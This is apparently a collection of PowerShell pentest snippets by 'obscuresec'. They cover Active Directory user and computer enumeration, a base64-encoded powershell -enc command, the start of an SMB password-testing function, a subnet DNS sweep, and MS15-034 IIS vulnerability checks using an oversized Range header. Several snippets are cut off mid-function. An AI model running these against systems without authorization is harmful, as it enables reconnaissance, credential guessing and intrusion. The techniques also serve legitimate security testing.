obscuresec

$DirEntry = New-Object DirectoryServices.DirectoryEntry('LDAP://dc=demo,dc=lab',$user,$pass)
$AdsiSearcher = New-Object DirectoryServices.DirectorySearcher($ADSI,"(objectCategory=User)")
$AdsiSearcher.findall()

obscuresec

$LdapFilter = #Query Goes Here
([adsisearcher]"$LdapFilter").Findall()

obscuresec

([adsisearcher]"objectCategory=User").Findall() | ForEach {$_.properties.cn}

obscuresec

(cmd /c echo {([adsisearcher]'objectCategory=Computer').Findall() | ForEach {$_.properties.cn}}).split(' ')[1]

obscuresec

powershell.exe -enc KABbAGEAZABzAGkAcwBlAGEAcgBjAGgAZQByAF0AJwBvAGIAagBlAGMAdABDAGEAdABlAGcAbwByAHkAPQBDAG8AbQBwAHUAdABlAHIAJwApAC4ARgBpAG4AZABhAGwAbAAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAgAHsAJABfAC4AcAByAG8AcABlAHIAdABpAGUAcwAuAGMAbgB9AA==

obscuresec

powershell.exe -com "((([adsisearcher]"objectCategory=User").Findall())[0].properties).PropertyNames"

obscuresec

function Test-SmbPassword {
<#
.SYNOPSIS

    Tests a username and password to see if it is valid against a remote machine or domain.

    Author: Chris Campbell (@obscuresec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

obscuresec

Function Get-SubnetResolution {

    $Subnet = '74.125.228' #change this
    $Wait = 2 #Seconds to wait between resolution
    $HostRangeLow = 1
    $HostRangeHigh = 10
    $Range = $HostRangeLow..$HostRangeHigh 
    
    #Instantiate once
    $DnsObject = [Net.DNS]

obscuresec

function Test-MS15034($url) {
    try {
        $wr = [Net.WebRequest]::Create($url)
        $wr.AddRange('bytes',234234,28768768)
        $res = $wr.GetResponse()
        $status = $res.statuscode
        Write-Output "$status means it is not vulnerable"
        $res.Close()
    }catch {
        if ($Error[0].Exception.InnerException.Response.StatusCode -eq '416') {Write-Output "Site is vulnerable"}

obscuresec

function Test-MS15034($url) {
    try {
        $wr = [Net.WebRequest]::Create($url)
        $wr.AddRange('bytes',18,18446744073709551615)
        $res = $wr.GetResponse()
        $status = $res.statuscode
        Write-Output "$status means it is not vulnerable"
        $res.Close()
    }catch {
        if ($Error[0].Exception.InnerException.Response.StatusCode -eq '416') {Write-Output "Site is vulnerable"}